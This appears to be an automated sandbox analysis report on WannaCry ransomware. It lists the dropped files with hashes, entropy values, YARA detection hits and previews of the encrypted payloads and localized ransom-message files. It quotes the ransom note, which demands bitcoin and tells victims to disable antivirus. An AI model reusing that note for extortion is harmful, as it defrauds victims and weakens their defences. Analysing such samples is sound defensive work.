                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_portuguese.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37917
                                                                                                                                                                              Entropy (8bit):5.027872281764284
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2QG2xgk5eo75Y3kmA31dv61QyV:Shef3jHdCG2EZrS14p
                                                                                                                                                                              MD5:FA948F7D8DFB21CEDDD6794F2D56B44F
                                                                                                                                                                              SHA1:CA915FBE020CAA88DD776D89632D7866F660FC7A
                                                                                                                                                                              SHA-256:BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66
                                                                                                                                                                              SHA-512:0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_romanian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):52161
                                                                                                                                                                              Entropy (8bit):4.964306949910696
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:Shef3jHdXG2Cz2/vBAOZsQO0cLfnF/Zhcz7sDsYZBB/0gBjL+IU/hbhMVDtsR49P:ShehlrGR1m4dx9mjVyAvg7ouDT
                                                                                                                                                                              MD5:313E0ECECD24F4FA1504118A11BC7986
                                                                                                                                                                              SHA1:E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D
                                                                                                                                                                              SHA-256:70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1
                                                                                                                                                                              SHA-512:C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_russian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):47108
                                                                                                                                                                              Entropy (8bit):4.952777691675008
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2qG2aUGs0K6lyZqmfGGHRblldORZeo75Y3kmA31L:Shef3jHdeG2lGsDOcZxbP7ZrS14K
                                                                                                                                                                              MD5:452615DB2336D60AF7E2057481E4CAB5
                                                                                                                                                                              SHA1:442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6
                                                                                                                                                                              SHA-256:02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078
                                                                                                                                                                              SHA-512:7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_slovak.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):41391
                                                                                                                                                                              Entropy (8bit):5.027730966276624
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHd4Yb2YG2gNZ8a8zV/8j8U8l8x838Z8Q808m8d8T8hw:Shef3jHdZvG23AZrS14f
                                                                                                                                                                              MD5:C911ABA4AB1DA6C28CF86338AB2AB6CC
                                                                                                                                                                              SHA1:FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0
                                                                                                                                                                              SHA-256:E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729
                                                                                                                                                                              SHA-512:3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_spanish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37381
                                                                                                                                                                              Entropy (8bit):5.02443306661187
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdf24G2/ezV6YQUdZYlujeMQ9RXmhRweo75Y3kmA31S:Shef3jHdrG2fuhZrS14T
                                                                                                                                                                              MD5:8D61648D34CBA8AE9D1E2A219019ADD1
                                                                                                                                                                              SHA1:2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2
                                                                                                                                                                              SHA-256:72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1
                                                                                                                                                                              SHA-512:68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_swedish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):38483
                                                                                                                                                                              Entropy (8bit):5.022972736625151
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdb24G2ZKLVdDeo75Y3kmA31dv61QyE:Shef3jHd/G2w6ZrS14w
                                                                                                                                                                              MD5:C7A19984EB9F37198652EAF2FD1EE25C
                                                                                                                                                                              SHA1:06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE
                                                                                                                                                                              SHA-256:146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4
                                                                                                                                                                              SHA-512:43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_turkish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):42582
                                                                                                                                                                              Entropy (8bit):5.010722377068833
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHds42WG2mzGu/eo75Y3kmA31dv61QyZ:Shef3jHdsiG2moZrS149
                                                                                                                                                                              MD5:531BA6B1A5460FC9446946F91CC8C94B
                                                                                                                                                                              SHA1:CC56978681BD546FD82D87926B5D9905C92A5803
                                                                                                                                                                              SHA-256:6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415
                                                                                                                                                                              SHA-512:EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_vietnamese.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):93778
                                                                                                                                                                              Entropy (8bit):4.76206134900188
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdW2YG22cViQj3KiG8dpcH8iEriG8E8O83Jz52sxG8h:Shef3jHdWG2+oPZrS14i
                                                                                                                                                                              MD5:8419BE28A0DCEC3F55823620922B00FA
                                                                                                                                                                              SHA1:2E4791F9CDFCA8ABF345D606F313D22B36C46B92
                                                                                                                                                                              SHA-256:1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8
                                                                                                                                                                              SHA-512:8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\r.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):864
                                                                                                                                                                              Entropy (8bit):4.5335184780121995
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0Ei5bnBR7brW8PNAi0eEprY+Ai75wRZce/:DZD36W5/vWmMo+m
                                                                                                                                                                              MD5:3E0020FC529B1C2A061016DD2469BA96
                                                                                                                                                                              SHA1:C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE
                                                                                                                                                                              SHA-256:402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C
                                                                                                                                                                              SHA-512:5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Yara Hits:
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send %s to this bitcoin address: %s.... Next, please find an application file named "%s". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window...

                                                                                                                                                                              C:\Users\user\Desktop\s.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3038286
                                                                                                                                                                              Entropy (8bit):7.998263053003918
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:zUx4db9A1iRdHAHZXaTnCshuTnSQYUB/UZfCg2clOQin2h37l2Jh9iiRKpbXUSH:z/b96AdHA5XaTJvQYUBBgRlJi+rlliRy
                                                                                                                                                                              MD5:AD4C9DE7C8C40813F200BA1C2FA33083
                                                                                                                                                                              SHA1:D1AF27518D455D432B62D73C6A1497D032F6120E
                                                                                                                                                                              SHA-256:E18FDD912DFE5B45776E68D578C3AF3547886CF1353D7086C8BEE037436DFF4B
                                                                                                                                                                              SHA-512:115733D08E5F1A514808A20B070DB7FF453FD149865F49C04365A8C6502FA1E5C3A31DA3E21F688AB040F583CF1224A544AEA9708FFAB21405DDE1C57F98E617
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:PK..........!(................Data/PK........M..J................Data/Tor/PK..........!(................Tor/PK..........!(..t.......0.....Tor/libeay32.dll.:.t.e....6m.....Me.Vjil....!..E..T..e...*..e....,.c..o=..t.u..,....J..k-.x.V..:1u....v..7.L~..?{..rN23.w......o..N2....WU..G..G.......Ed..7..q.o.5.]w.{...wl\y..m..w...?]......n......Z]UX./h4.....]...71....e.\^1..I..MH5...k.o+..s...c|s....-#d,!..............eW...?a.......R..I..R......w.....m..#od.*q.&..g.;.C(..t.V...j.Jq%...d_.Js...Hk.j#...DH.....,8_.O...]U....t .......ks:..T...18.C.%ASZJ3.U.nl..J.@)...$...N.s.O........m.0..*e..4.....m...lI..Z..7.f-.?....;...?.SO....}..7#.L8...5.z.~.........E.S..1....7.*.0...pf.....jz.)..Y..8..^....B........p.W..r..B.....p..?......../`*Wl..D.xAi..$..d.......&..p. ..bOtE.\.......(..&A...6v..S..Q...L...3 .:.6.m7.'.......)......iH.NZ_t.;./.a..n.g...A`.T.k.........."...<.rt..3....0.{N..yy...p.z.=..#.u.u...d......mQ..*.H..2.N.BRSN...XC....).".@.._.18.&...n

                                                                                                                                                                              C:\Users\user\Desktop\t.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):65816
                                                                                                                                                                              Entropy (8bit):7.997276137881339
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:am+vLII5ygV8/tuH+P9zxqDKvARpmKiRMkTERU:a9LAg4tXPTEKvADmFgRU
                                                                                                                                                                              MD5:5DCAAC857E695A65F5C3EF1441A73A8F
                                                                                                                                                                              SHA1:7B10AAEEE05E7A1EFB43D9F837E9356AD55C07DD
                                                                                                                                                                              SHA-256:97EBCE49B14C46BEBC9EC2448D00E1E397123B256E2BE9EBA5140688E7BC0AE6
                                                                                                                                                                              SHA-512:06EB5E49D19B71A99770D1B11A5BB64A54BF3352F36E39A153469E54205075C203B08128DC2317259DB206AB5323BDD93AAA252A066F57FB5C52FF28DEEDB5E2
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....8"'....].~>(...*PdIf.'.m>...2.0.`p...^...#I|..<.W.B.=....M..zxFp....0e...P...."....nhB)>....B..}.[d$......,...8.....k$.....S.w+.....N.....p/...Y.LC......9L.\!u...?hH".<d..dS%A.......Iu...nEi7I.....8.V..:F....-...,........\....}..`1?..m..5g.I'..................q.\..9`..t.....a......(|.8.L....67.gjrS.|.e...f.Fi......\...r.k.!d......8.'g1y+..'.i1t.L.>.u..:......<.fN.:Tf{..M.....W....._......_:...rR(.M..A?:...H.W.....=l......r..f..JX...:.z.rC.....f.X Qx.4....2....&w+..&kDqFU..u.............Sg..4k..<5.Zd$F.ED...1.S.d.. .eW.i....p.2..&.~S.l.R8$&q.L3.<.2....x ..by.zO.w. .hs.q.....I.1..D.F...J).&.....SD..v..m...V.....G...B`.u>K@.\_N......#.|..w.....Z.).X..[..o.(.'.~.nq.hq1.....:!.Q.P...c.KA,.3..m...j>.X.;..<.*."AU..R....Y....d]....U....).@...Q....|K.=.d.cI.x.....O...\(.%}.j..YG}...i.....R..j.`..9...5.....o..U...xu>+.$y...z... ...5......s..e...G...W.".T.'..iH..B.Sl...h..7B..E.8.....K.bRm...FE..W'_Q1...... ...A.5.}..%.../^VL.;.".w

                                                                                                                                                                              C:\Users\user\Desktop\taskdl.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20480
                                                                                                                                                                              Entropy (8bit):3.1664845408760636
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:Udocv5e0e1wWtaLYjJN0yDGgI2u9+w5eOIMviS0jPtboyn15EWBwwWwT:6oL0edtJN7qvAZM6S0jP1oynkWBwwWg
                                                                                                                                                                              MD5:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              SHA1:47A9AD4125B6BD7C55E4E7DA251E23F089407B8F
                                                                                                                                                                              SHA-256:4A468603FDCB7A2EB5770705898CF9EF37AADE532A7964642ECD705A74794B79
